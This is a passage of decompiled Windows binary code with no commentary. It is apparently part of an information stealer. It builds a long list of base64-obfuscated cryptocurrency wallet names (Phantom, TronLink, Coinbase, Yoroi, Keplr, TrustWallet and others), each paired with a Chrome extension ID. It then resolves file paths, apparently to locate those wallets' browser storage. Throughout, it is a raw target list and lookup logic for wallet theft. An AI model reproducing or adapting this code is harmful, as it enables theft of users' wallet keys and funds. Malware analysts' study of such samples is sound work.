				asm("movdqa [ebp+0x2b0], xmm1");
				_t47 = _t1237 + 0x20; // 0x20
				r8d = _t47;
				E00007FF77FF710634890(_t1292 + 0x2a0, L"flpiciilemghbmfalicajoolhkkenfel", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x2c0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x2d0], xmm1");
				_t49 = _t1237 + 8; // 0x8
				r8d = _t49;
				E00007FF77FF710634890(_t1292 + 0x2c0, L"TWF0aA==", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x2e0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x2f0], xmm1");
				_t51 = _t1237 + 0x20; // 0x20
				r8d = _t51;
				E00007FF77FF710634890(_t1292 + 0x2e0, L"afbcbjpbpfadlkmhmclhkeeodmamcflc", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x300], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x310], xmm1");
				_t53 = _t1237 + 8; // 0x8
				r8d = _t53;
				E00007FF77FF710634890(_t1292 + 0x300, L"TW9ib3g=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x320], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x330], xmm1");
				_t55 = _t1237 + 0x20; // 0x20
				r8d = _t55;
				E00007FF77FF710634890(_t1292 + 0x320, L"fcckkdbjnoikooededlapcalpionmalo", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x340], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x350], xmm1");
				_t57 = _t1237 + 0xc; // 0xc
				r8d = _t57;
				E00007FF77FF710634890(_t1292 + 0x340, L"UGhhbnRvbQ==", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x360], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x370], xmm1");
				_t59 = _t1237 + 0x20; // 0x20
				r8d = _t59;
				E00007FF77FF710634890(_t1292 + 0x360, L"bfnaelmomeimhlpmgjnjophhpkkoljpa", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x380], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x390], xmm1");
				_t61 = _t1237 + 0xc; // 0xc
				r8d = _t61;
				E00007FF77FF710634890(_t1292 + 0x380, L"VHJvbkxpbms=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x3a0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x3b0], xmm1");
				_t63 = _t1237 + 0x20; // 0x20
				r8d = _t63;
				E00007FF77FF710634890(_t1292 + 0x3a0, L"ibnejdfjmmkpcnlpebklmnkoeoihofec", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x3c0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x3d0], xmm1");
				_t65 = _t1237 + 8; // 0x8
				r8d = _t65;
				E00007FF77FF710634890(_t1292 + 0x3c0, L"WGluUGF5", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x3e0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x3f0], xmm1");
				_t67 = _t1237 + 0x20; // 0x20
				r8d = _t67;
				E00007FF77FF710634890(_t1292 + 0x3e0, L"bocpokimicclpaiekenaeelehdjllofo", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x400], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x410], xmm1");
				_t69 = _t1237 + 4; // 0x4
				r8d = _t69;
				E00007FF77FF710634890(_t1292 + 0x400, L"VG9u", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x420], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x430], xmm1");
				_t71 = _t1237 + 0x20; // 0x20
				r8d = _t71;
				E00007FF77FF710634890(_t1292 + 0x420, L"nphplpgoakhhjchkkhmiggakijnkhfnd", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x440], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x450], xmm1");
				_t73 = _t1237 + 8; // 0x8
				r8d = _t73;
				E00007FF77FF710634890(_t1292 + 0x440, L"U29sbGV0", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x460], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x470], xmm1");
				_t75 = _t1237 + 0x20; // 0x20
				r8d = _t75;
				E00007FF77FF710634890(_t1292 + 0x460, L"fhmfendgdocmcbmfikdcogofphimnkno", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x480], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x490], xmm1");
				_t77 = _t1237 + 8; // 0x8
				r8d = _t77;
				E00007FF77FF710634890(_t1292 + 0x480, L"U2xvcGU=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x4a0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x4b0], xmm1");
				_t79 = _t1237 + 0x20; // 0x20
				r8d = _t79;
				E00007FF77FF710634890(_t1292 + 0x4a0, L"pocmplpaccanhmnllbbkpgfliimjljgo", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x4c0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x4d0], xmm1");
				_t81 = _t1237 + 0xc; // 0xc
				r8d = _t81;
				E00007FF77FF710634890(_t1292 + 0x4c0, L"U3RhcmNvaW4=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x4e0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x4f0], xmm1");
				_t83 = _t1237 + 0x20; // 0x20
				r8d = _t83;
				E00007FF77FF710634890(_t1292 + 0x4e0, L"mfhbebgoclkghebffdldpobeajmbecfk", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x500], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x510], xmm1");
				_t85 = _t1237 + 0x10; // 0x10
				r8d = _t85;
				E00007FF77FF710634890(_t1292 + 0x500, L"SGlyb1dhbGxldA==", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x520], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x530], xmm1");
				_t87 = _t1237 + 0x20; // 0x20
				r8d = _t87;
				E00007FF77FF710634890(_t1292 + 0x520, L"ldinpeekobnhjjdofggfgjlcehhmanlj", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x540], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x550], xmm1");
				_t89 = _t1237 + 0x10; // 0x10
				r8d = _t89;
				E00007FF77FF710634890(_t1292 + 0x540, L"TWV0YVdhbGxldA==", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x560], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x570], xmm1");
				_t91 = _t1237 + 0x20; // 0x20
				r8d = _t91;
				E00007FF77FF710634890(_t1292 + 0x560, L"bkklifkecemccedpkhcebagjpehhabfb", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x580], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x590], xmm1");
				_t93 = _t1237 + 8; // 0x8
				r8d = _t93;
				E00007FF77FF710634890(_t1292 + 0x580, L"U3dhc2g=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x5a0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x5b0], xmm1");
				_t95 = _t1237 + 0x20; // 0x20
				r8d = _t95;
				E00007FF77FF710634890(_t1292 + 0x5a0, L"cmndjbecilbocjfkibfbifhngkdmjgog", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x5c0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x5d0], xmm1");
				_t97 = _t1237 + 8; // 0x8
				r8d = _t97;
				E00007FF77FF710634890(_t1292 + 0x5c0, L"Rmlubmll", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x5e0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x5f0], xmm1");
				_t99 = _t1237 + 0x20; // 0x20
				r8d = _t99;
				E00007FF77FF710634890(_t1292 + 0x5e0, L"cjmkndjhnagcfbpiemnkdpomccnjblmj", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x600], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x610], xmm1");
				_t101 = _t1237 + 8; // 0x8
				r8d = _t101;
				E00007FF77FF710634890(_t1292 + 0x600, L"S2VwbHI=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x620], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x630], xmm1");
				_t103 = _t1237 + 0x20; // 0x20
				r8d = _t103;
				E00007FF77FF710634890(_t1292 + 0x620, L"dmkamcknogkgcdfhhbddcghachkejeap", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x640], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x650], xmm1");
				_t105 = _t1237 + 0xc; // 0xc
				r8d = _t105;
				E00007FF77FF710634890(_t1292 + 0x640, L"Q3JvY29iaXQ=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x660], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x670], xmm1");
				_t107 = _t1237 + 0x20; // 0x20
				r8d = _t107;
				E00007FF77FF710634890(_t1292 + 0x660, L"pnlfjmlcjdjgkddecgincndfgegkecke", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x680], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x690], xmm1");
				_t109 = _t1237 + 8; // 0x8
				r8d = _t109;
				E00007FF77FF710634890(_t1292 + 0x680, L"T3h5Z2Vu", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x6a0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x6b0], xmm1");
				_t111 = _t1237 + 0x20; // 0x20
				r8d = _t111;
				E00007FF77FF710634890(_t1292 + 0x6a0, L"fhilaheimglignddkjgofkcbgekhenbh", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x6c0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x6d0], xmm1");
				_t113 = _t1237 + 8; // 0x8
				r8d = _t113;
				E00007FF77FF710634890(_t1292 + 0x6c0, L"TmlmdHk=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x6e0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x6f0], xmm1");
				_t115 = _t1237 + 0x20; // 0x20
				r8d = _t115;
				E00007FF77FF710634890(_t1292 + 0x6e0, L"jbdaocneiiinmjbjlgalhcelgbejmnid", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x700], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x710], xmm1");
				_t117 = _t1237 + 0xc; // 0xc
				r8d = _t117;
				E00007FF77FF710634890(_t1292 + 0x700, L"TGlxdWFsaXR5", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x720], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x730], xmm1");
				_t119 = _t1237 + 0x20; // 0x20
				r8d = _t119;
				E00007FF77FF710634890(_t1292 + 0x720, L"kpfopkelmapcoipemfendmdcghnegimn", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x740], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x750], xmm1");
				_t121 = _t1237 + 8; // 0x8
				r8d = _t121;
				E00007FF77FF710634890(_t1292 + 0x740, L"Um9uaW4=", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x760], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x770], xmm1");
				_t123 = _t1237 + 0x20; // 0x20
				r8d = _t123;
				E00007FF77FF710634890(_t1292 + 0x760, L"fnjhmkhhmkbjkkabndcnnogagogbneec", _t1237, _t1297, _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x780], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x790], xmm1");
				_t125 = _t1237 + 8; // 0x8
				r8d = _t125;
				E00007FF77FF710634890(_t1292 + 0x780, L"T2FzaXM=", _t1237, _t1297, _t1384);
				E00007FF77FF7106379B0(_t800, _t1292 + 0x7a0, L"ppdadbejkmjnefldpcdjhnkpbjkikoip");
				E00007FF77FF7106411B0(__rbx, _t1292 + 0x7c0, L"VGVtcGxl", _t1281, _t1292, L"ookjlbkiijinhpmnjffcofjonbfbgaoc", _t1384, _t1374);
				E00007FF77FF7106411B0(_t878, _t1292 + 0x800, L"UG9udGVt", _t1281, _t1292, L"phkbamefinggmakgklpkljjmgibohnba", _t1367, _t1363);
				E00007FF77FF7106411B0(_t878, _t1292 + 0x840, L"U29sZmxhcmU=", _t1281, _t1292, L"bhhhlbepdkbapadjdnnojkbgioiodbic", _t1237, _t1281);
				E00007FF77FF7106411B0(_t878, _t1292 + 0x880, L"WW9yb2k=", _t1281, _t1292, L"ffnbelfdoeiohenkjibnmadjiehjhajb");
				E00007FF77FF7106411B0(_t878, _t1292 + 0x8c0, L"aVdhbGxldA==", _t1281, _t1292, L"kncchdigobghenbbaddojjnnaogfppfj");
				E00007FF77FF7106411B0(_t878, _t1292 + 0x900, L"V29tYmF0", _t1281, _t1292, L"amkmjjmmflddogmhpjloimipbofnfjih");
				E00007FF77FF7106411B0(_t878, _t1292 + 0x940, L"Q29pbmJhc2U=", _t1281, _t1292, L"hnfanknocfeofbddgcijnmhnfnkdnaad");
				E00007FF77FF7106411B0(_t878, _t1292 + 0x980, L"TWV3Q3g=", _t1281, _t1292, L"nlbmnnijcnlegkjjpcfjclmcfggfefdm");
				E00007FF77FF710641240(_t878, _t1292 + 0x9c0, _t1291);
				E00007FF77FF7106411B0(_t878, _t1292 + 0xa00, L"T25lS2V5", _t1281, _t1292, L"jnmbobjmhlngoefaiojfljckilhhlhcj");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xa40, L"SHljb25MaXRlQ2xpZW50", _t1281, _t1292, L"bcopgchhojmggmffilplmbdicgaihlkp");
				E00007FF77FF7106412B0(_t878, _t1292 + 0xa80);
				E00007FF77FF7106411B0(_t878, _t1292 + 0xac0, L"R29ieQ==", _t1281, _t1292, L"jnkelfanjkeadonecabehalmbgpfodjm");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xb00, L"VGV6Qm94", _t1281, _t1292, L"mnfifefkajgofkcjkemidiaecocnkjeh");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xb40, L"T05UT1dhbGxldA==", _t1281, _t1292, L"ifckdpamphokdglkkdomedpdegcjhjdp");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xb80, L"SGFzaHBhY2s=", _t1281, _t1292, L"gjagmgiddbbciopjhllkdnddhcglnemk");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xbc0, L"Q3lhbm8=", _t1281, _t1292, L"dkdedlpgdmmkkfjabffeganieamfklkm");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xc00, L"U2VuZGVyV2FsbGV0", _t1281, _t1292, L"epapihdplajcdnnkdeiahlgigofloibg");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xc40, L"WmVjcmV5", _t1281, _t1292, L"ojbpcbinjmochkhelkflddfnmcceomdi");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xc80, L"QXVybw==", _t1281, _t1292, L"cnmamaachppnkjgnildpdmkaakejnhae");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xcc0, L"VGVycmFTdGF0aW9u", _t1281, _t1292, L"aiifbnbfobpmeekipheeijimdpnlpgpp");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xd00, L"S2FyZGlhQ2hhaW4=", _t1281, _t1292, L"pdadjkfkgcafgbceimcpbkalnfnepbnk");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xd40, L"UmFiYnk=", _t1281, _t1292, L"acmacodkjbdgmoleebolmdjonilkdbch");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xd80, L"TmVvTGluZQ==", _t1281, _t1292, L"cphhlgmgameodnhkjdmkpanlelnlohao");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xdc0, L"TmFib3g=", _t1281, _t1292, L"nknhiehlklippafakaeklbeglecifhad");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xe00, L"WERlRmk=", _t1281, _t1292, L"hmeobnfnfcmdkdcmlblgagmfpfboieaf");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xe40, L"S0hD", _t1281, _t1292, L"hcflpincpppdclinealmandijcmnkbgn");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xe80, L"T25lS2V5", _t1281, _t1292, L"jnmbobjmhlngoefaiojfljckilhhlhcj");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xec0, L"QXVybw==", _t1281, _t1292, L"cnmamaachppnkjgnildpdmkaakejnhae");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xf00, L"Q0xX", _t1281, _t1292, L"nhnkbkgjikgcigadomkphalanndcapjk");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xf40, L"UG9seW1lc2g=", _t1281, _t1292, L"jojhfeoedkpkglbfimdfabpdfjaoolaf");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xf80, L"WmlsUGF5", _t1281, _t1292, L"klnaejjgbibmhlephnhpmaofohgkpgkd");
				E00007FF77FF7106411B0(_t878, _t1292 + 0xfc0, L"QnlvbmU=", _t1281, _t1292, L"nlgbhdfgdhgbiamfdfmbikcdghidoadd");
				E00007FF77FF7106411B0(_t878, _t1292 + 0x1000, L"RXRlcm5s", _t1281, _t1292, L"kmhcihpebfmpgmihbkipmjlmmioameka");
				E00007FF77FF7106411B0(_t878, _t1292 + 0x1040, L"TmFtaQ==", _t1281, _t1292, L"lpfcbjknijpeeillifnkikgncikgfhdo");
				E00007FF77FF7106411B0(_t878, _t1292 + 0x1080, L"TWFpYXJEZUZpV2FsbGV0", _t1281, _t1292, L"dngmlblcodfobpdpecaadgfbcggfjfnm");
				E00007FF77FF7106411B0(_t878, _t1292 + 0x10c0, L"TGVhZldhbGxldA==", _t1281, _t1292, L"cihmoadaighcejopammfbmddcmdekcje");
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1100], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1110], xmm1");
				_t165 = _t1237 + 0x10; // 0x10
				r8d = _t165;
				E00007FF77FF710634890(_t1292 + 0x1100, L"VHJ1c3RXYWxsZXQ=", _t1237, L"cihmoadaighcejopammfbmddcmdekcje", _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1120], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1130], xmm1");
				_t167 = _t1237 + 0x20; // 0x20
				r8d = _t167;
				E00007FF77FF710634890(_t1292 + 0x1120, L"egjidjbpglichdcondbcbdnbeeppgdph", _t1237, L"cihmoadaighcejopammfbmddcmdekcje", _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1140], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1150], xmm1");
				_t169 = _t1237 + 0x10; // 0x10
				r8d = _t169;
				E00007FF77FF710634890(_t1292 + 0x1140, L"RXhvZHVzKHdlYik=", _t1237, L"cihmoadaighcejopammfbmddcmdekcje", _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1160], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1170], xmm1");
				_t171 = _t1237 + 0x20; // 0x20
				r8d = _t171;
				E00007FF77FF710634890(_t1292 + 0x1160, L"aholpfdialjgjfhomihkjbmgjidlcdno", _t1237, L"cihmoadaighcejopammfbmddcmdekcje", _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1180], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1190], xmm1");
				_t173 = _t1237 + 0x10; // 0x10
				r8d = _t173;
				E00007FF77FF710634890(_t1292 + 0x1180, L"QnJhdmVXYWxsZXQ=", _t1237, L"cihmoadaighcejopammfbmddcmdekcje", _t1384);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x11a0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x11b0], xmm1");
				_t175 = _t1237 + 0x20; // 0x20
				r8d = _t175;
				E00007FF77FF710634890(_t1292 + 0x11a0, L"odbfpeeihdkbihmopkbjmoonfanlbfcl", _t1237, L"cihmoadaighcejopammfbmddcmdekcje", _t1384);
				 *(_t1292 + 0x1220) = _t1237;
				 *(_t1292 + 0x1228) = _t1237;
				E00007FF77FF710641E18(_t800, _t1292 + 0x11a0);
				 *_t800 = _t800;
				 *(_t800 + 8) = _t800;
				 *(_t800 + 0x10) = _t800;
				 *((short*)(_t800 + 0x18)) = 0x101;
				 *(_t1292 + 0x1220) = _t800;
				_t1375 = _t1292 + 0xc0;
				E00007FF77FF710641850(0xaaaaaaaa, _t1292 + 0x1220, _t1292 + 0x11c0, _t1281, _t1292, _t800, _t1375);
				asm("movups xmm6, [eax]");
				asm("movsd xmm0, [eax+0x10]");
				asm("movsd [ebp], xmm0");
				if ( *_t1292 != 0) goto 0x1064002f;
				if ( *(_t1292 + 0x1228) == 0xaaaaaaaa) goto 0x10640d58;
				_t880 =  *(_t1292 + 0x1220);
				_t801 = _t1292 + 0x1220;
				 *(_t1292 - 0x60) = _t801;
				 *(_t1292 - 0x58) = _t1237;
				E00007FF77FF710641E18(_t801, _t1292 + 0x1220);
				_t1282 = _t801;
				 *(_t1292 - 0x58) = _t801;
				_t193 = _t801 + 0x20; // 0x20
				_t1238 = _t193;
				 *(_t1295 + 0x38) = _t1238;
				E00007FF77FF7106286E0(_t801, _t880, _t1238, _t1375);
				_t195 = _t1238 + 0x20; // 0x40
				_t562 = E00007FF77FF7106286E0(_t801, _t880, _t195, _t1375 + 0x20);
				 *_t1282 = _t880;
				 *((long long*)(_t1282 + 8)) = _t880;
				 *((long long*)(_t1282 + 0x10)) = _t880;
				 *((short*)(_t1282 + 0x18)) = 0;
				 *(_t1292 - 0x58) = _t1238;
				asm("movaps [ebp+0x10], xmm6");
				_t1176 = _t1292 + 0x10;
				E00007FF77FF71062AF00(_t562, _t1292 + 0x1220, _t1176, _t1282);
				_t1376 = _t1375 + 0x40;
				if (_t1376 != _t1292 + 0x11c0) goto 0x1063ff70;
				_t205 = _t1176 + 4; // 0x44
				r8d = _t205;
				E00007FF77FF710641E54(_t1292 + 0xc0, _t1176, _t1282, 0x7ff710638f90);
				if ( *((long long*)( *((intOrPtr*)(_t1292 - 0x80)) + 0x18)) - 8 < 0) goto 0x10640070;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1298], xmm0");
				r14d = 0;
				 *((long long*)(_t1292 + 0x12a8)) = _t1376;
				 *((long long*)(_t1292 + 0x12b0)) = _t1376;
				E00007FF77FF710634890(_t1292 + 0x1298,  *((intOrPtr*)( *((intOrPtr*)(_t1292 - 0x80)))), _t1238,  *((intOrPtr*)( *((intOrPtr*)(_t1292 - 0x80)) + 0x10)), _t800);
				 *(_t1295 + 0x34) = 0x601;
				asm("xorps xmm0, xmm0");
				asm("movdqa [ebp+0x1210], xmm0");
				if (E00007FF77FF710641030(0x60, _t660,  *((long long*)( *((intOrPtr*)(_t1292 - 0x80)) + 0x18)) - 8, 0xaaaaaaaa, _t1292 + 0x1210, _t1292 + 0x1298, _t1292, _t800) != 0) goto 0x10640d42;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1250], xmm0");
				if ( *((intOrPtr*)(_t1292 + 0x1218)) == 0) goto 0x106400ea;
				asm("lock inc dword [ecx+0x8]");
				asm("movaps xmm0, [ebp+0x1210]");
				asm("movdqa [ebp+0x1250], xmm0");
				if ( *((intOrPtr*)(_t1292 + 0x1218)) == 0) goto 0x10640109;
				asm("lock inc dword [ecx+0x8]");
				asm("xorps xmm1, xmm1");
				asm("movdqu [ebp+0x12e8], xmm1");
				if ( *((intOrPtr*)(_t1292 + 0x1218)) == 0) goto 0x10640157;
				asm("lock xadd [ecx+0x8], eax");
				if (r15d != 1) goto 0x10640157;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1292 + 0x1218))))))();
				asm("lock xadd [edi+0xc], eax");
				if (r15d != 1) goto 0x10640157;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1292 + 0x1218)))) + 8))();
				if ( *((intOrPtr*)(_t1292 + 0x1250)) == 0) goto 0x10640b71;
				E00007FF77FF7106286E0( *((intOrPtr*)( *((intOrPtr*)(_t1292 + 0x1218)))), 0xaaaaaaaa, _t1292 + 0x1278,  *((intOrPtr*)(_t1292 + 0x1250)) + 0x20);
				_t997 =  >=  ?  *((void*)(_t1292 + 0x1278)) : _t1292 + 0x1278;
				_t805 =  *((intOrPtr*)(_t1292 + 0x1288));
				_t1182 = ( >=  ?  *((void*)(_t1292 + 0x1278)) : _t1292 + 0x1278) + _t805 * 2;
				E00007FF77FF710622620( >=  ?  *((void*)(_t1292 + 0x1278)) : _t1292 + 0x1278, _t1182);
				if (_t805 == _t1182) goto 0x106401ec;
				_t646 =  *_t805 & 0x0000ffff;
				if (_t646 == 0x5c) goto 0x106401bf;
				if (_t646 != 0x2f) goto 0x106401c8;
				_t806 = _t805 + 2;
				if (_t806 != _t1182) goto 0x106401b0;
				if (_t806 == _t1182) goto 0x106401ec;
				_t1336 = _t1182 - 2;
				_t647 =  *_t1336 & 0x0000ffff;
				if (_t647 == 0x5c) goto 0x106401ec;
				if (_t647 == 0x2f) goto 0x106401ec;
				if (_t806 != _t1336) goto 0x106401d0;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x50], xmm0");
				 *((long long*)(_t1292 - 0x40)) = _t1376;
				 *((long long*)(_t1292 - 0x38)) = _t1376;
				E00007FF77FF710634890(_t1292 - 0x50, _t1336, _t1336, _t1182 - _t1336 >> 1, 0xffffffff);
				 *(_t1295 + 0x34) =  *(_t1295 + 0x34) | 0x000000e0;
				E00007FF77FF7106286E0(_t806, 0xaaaaaaaa, _t1292 - 0x30, _t1292 - 0x50);
				 *(_t1295 + 0x34) =  *(_t1295 + 0x34) | 0x00000100;
				_t1355 =  *((intOrPtr*)(_t1368 + 0x10));
				if ( *((long long*)(_t1368 + 0x18)) - 8 < 0) goto 0x1064023f;
				_t1361 =  *_t1368;
				r8b =  *(_t1292 - 0x18) - 8 >= 0;
				 *(_t1295 + 0x30) = r8b;
				_t1377 =  *((intOrPtr*)(_t1292 - 0x30));
				_t1285 =  >=  ? _t1377 : _t1292 - 0x30;
				_t807 =  *((intOrPtr*)(_t1292 - 0x20));
				if (_t1355 - _t807 > 0) goto 0x1064030b;
				_t690 = _t1355;
				if (_t690 != 0) goto 0x1064027a;
				goto 0x10640310;
				_t1242 = _t1285;
				r9d =  *_t1361 & 0x0000ffff;
				asm("o16 nop [eax+eax]");
				if (_t690 == 0) goto 0x106402bc;
				if ( *_t1242 == r9w) goto 0x106402b9;
				if (_t1285 + 2 + (_t807 - _t1355) * 2 - _t1242 >> 1 == 1) goto 0x106402bc;
				_t1243 = _t1242 + 2;
				if ( *_t1243 != r9w) goto 0x106402a6;
				_t1001 = _t1243;
				if (_t1001 == 0) goto 0x10640301;
				if (_t1355 == 0) goto 0x106402e9;
				_t696 = ( *(_t1001 - _t1361 + _t1361) & 0x0000ffff) -  *_t1361;
				if (_t696 != 0) goto 0x106402fb;
				if (_t696 != 0) goto 0x106402d5;
				r8d =  *(_t1295 + 0x30) & 0x000000ff;
				goto 0x1064030e;
				goto 0x10640290;
				r8d =  *(_t1295 + 0x30) & 0x000000ff;
				if (r8b == 0) goto 0x1064034b;
				if (2 +  *(_t1292 - 0x18) * 2 - 0x1000 < 0) goto 0x10640342;
				if (_t1377 -  *((intOrPtr*)(_t1377 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10640d5e;
				E00007FF77FF710641E10(_t1377 -  *((intOrPtr*)(_t1377 - 8)) + 0xfffffff8,  *((intOrPtr*)(_t1377 - 8)));
				_t1191 =  *((intOrPtr*)(_t1292 - 0x38));
				if (_t1191 - 8 < 0) goto 0x1064038b;
